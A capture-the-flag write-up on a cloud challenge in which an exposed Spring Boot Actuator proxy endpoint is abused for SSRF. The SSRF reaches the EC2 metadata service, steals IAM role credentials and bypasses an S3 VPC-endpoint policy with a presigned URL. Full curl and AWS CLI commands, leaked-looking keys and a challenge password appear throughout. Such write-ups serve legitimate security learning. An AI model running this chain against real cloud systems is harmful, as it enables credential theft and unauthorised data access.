Skip to main content
  1. Writeups/

Perimeter Leak

·3 mins· loading
ctf cloud aws
MOUHIB CHVMSI
Author
MOUHIB CHVMSI
automation && container guy

Our first challenge starts with a brief introduction..

You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
{"status":"UP"}
user@monthly-challenge:~$ 

Ok! so we are dealing with a Spring Boot Actuator application, but wait, what is even that? The official docs from baeldung states that Actuator brings production-ready features to our application. Monitoring apps, gathering metrics, etc… It comes with Predefined Endpoints, you can find more inforamtion 👉 here.

The most interesting Endpoint is /actuator/env, CURLing it returnes some valuable data! such as the S3 bucket name! and some other info about the ec2 instance ;)

user@monthly-challenge:~$ curl -s https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env | jq | grep -i bucket -A2 -B2
          "origin": "System Environment Property \"SHELL\""
        },
        "BUCKET": {
          "value": "challenge01-470XXXX",
          "origin": "System Environment Property \"BUCKET\""
        },
        "LOGNAME": {

Another interesting Endpoint is the /actuator/mappings, which provides information about the application’s request mappings and lists all the Endpoints within the applicatiopn.

What attracts me the most is this endpoint, which is a proxy that takes url as param!

{
              "predicate": "{ [/proxy], params [url]}",
              "handler": "challenge.Application#proxy(String)",
              "details": {
                "handlerMethod": {
                  "className": "challenge.Application",
                  "name": "proxy",
                  "descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
                },
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [],
                  "params": [
                    {
                      "name": "url",
                      "negated": false
                    }
                  ],
                  "patterns": [
                    "/proxy"
                  ],
                  "produces": []
                }
              }
            },

The first thing that came straight to my mind after knowing that the application is running in EC2 instance, is trying to send a GET request to the 169-254 metadata server! and yup, it did work! but we are unauthorized!

No problem, lets kindly request a temporary token from the metadata server!

TOKEN=$(curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -XPUT https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token)

user@monthly-challenge:~$ curl -H "X-aws-ec2-metadata-token: ${TOKEN}" https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/   
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system

Okay, thass cool! lets go ahead and grab the iam security creds and see what we can do next!

user@monthly-challenge:~$ curl -H "X-aws-ec2-metadata-token: $TOKEN" https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.meta-data/iam/security-credentials/challenge01-5592368

{
  "Code" : "Success",
  "LastUpdated" : "2025-09-06T12:38:55Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIARK7LBOHXNJ5AIPXX",
  "SecretAccessKey" : "EODTCiWkez2OTMwg3U0q+s1xc4HgB9YYpIS3XiqJ",
  "Token" : "IQ....",
  "Expiration" : "2025-09-06T18:59:09Z"

After configuring the aws creds, we can now see whats inside the bucket!

user@monthly-challenge:~$ aws s3 ls s3://challenge01-470fXXX --recursive
2025-06-18 17:15:24         29 hello.txt
2025-06-16 22:01:49         51 private/flag.txt

For a moment, I though I got the flag! but it didn’t end here… I tried to copy the content of flag.txt object locally but I got a frobbiden err msg!

user@monthly-challenge:~$ aws s3 cp s3://challenge01-XXX/private/flag.txt --profile p1 flag
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

Why? this is because of the S3 policy, which says that you cannot get any object under /private/* out of the S3 bucket, unless the request is coming from the vpc id vpce-0dfd8b6aa1642a0570!

user@monthly-challenge:~$ aws s3api get-bucket-policy --profile p1 --bucket challenge01-470fXXX | jq
{
  "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470fXXX/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}"
}

Remember the /proxy endpoint we discovered a while ago under /actuator/mappings? This will allow us to send a request from the application which is running in the EC2 instance that is provisionned on the same VPC.

Its actually very simple, we just have to presign an url for the S3 bucket, and send the request from the application using the /proxy endpoint! and just like that we get the flag of the first challenge :D

user@monthly-challenge:~$ URL=$(aws s3 presign s3://challenge01-470fXXXX/private/flag.txt --profile p1 | jq -sRr @uri)
user@monthly-challenge:~$ echo $URL
https%3A%2F%2Fchallenge01-470XXX.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4..
user@monthly-challenge:~$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=${URL} 
The flag is: WIZ_CTF_***********

Related

PwnSec-CTF 2k24
·8 mins· loading
ctf security helm aws pentest
CyberTEK-CTF 2k25
·3 mins· loading
ctf misc
AWS Certified Cloud Practitioner
·1 min· loading
certs aws